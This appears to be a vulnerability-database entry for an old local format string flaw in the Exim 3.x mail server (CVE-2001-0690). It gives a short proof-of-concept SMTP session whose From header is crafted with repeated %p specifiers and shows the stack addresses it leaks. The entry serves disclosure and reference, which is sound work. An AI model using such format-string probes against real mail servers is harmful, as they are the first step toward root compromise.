Exim 3.x - Format String
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Exploit for CVE-1999-0078 | 3 Aug 202504:29 | – | gitee |
 | CVE-2001-0690 | 9 Mar 200205:00 | – | cve |
 | CVE-2001-0690 | 9 Mar 200205:00 | – | cvelist |
 | Debian DSA-058-1 : exim - local printf format attack | 29 Sep 200400:00 | – | nessus |
 | CVE-2001-0690 | 20 Sep 200104:00 | – | nvd |
 | Debian Security Advisory DSA 058-1 (exim) | 17 Jan 200800:00 | – | openvas |
| Debian Security Advisory DSA 058-1 (exim) | 17 Jan 200800:00 | – | openvas |
 | VulnCheck KEV: CVE-2001-0690 | 20 Jun 201700:00 | – | vulncheck_kev |
source: https://www.securityfocus.com/bid/2828/info
Exim is a free, open-source Mail Transfer Agent for Unix systems.
Exim is vulnerable to a locally exploitable format string attack which may compromise root access. The vulnerability exists only when the 'syntax checking' mode is turned on, which it is not by default.
The vulnerability has to do with handling of the hostname string in an email address argumenting the 'From:' field. If the syntax checking is enabled, then this vulnerability can be exploited to execute arbitrary code with root priviliges.
Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p
.
===8<======8<=======8<=======
Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40Data
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29 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.11891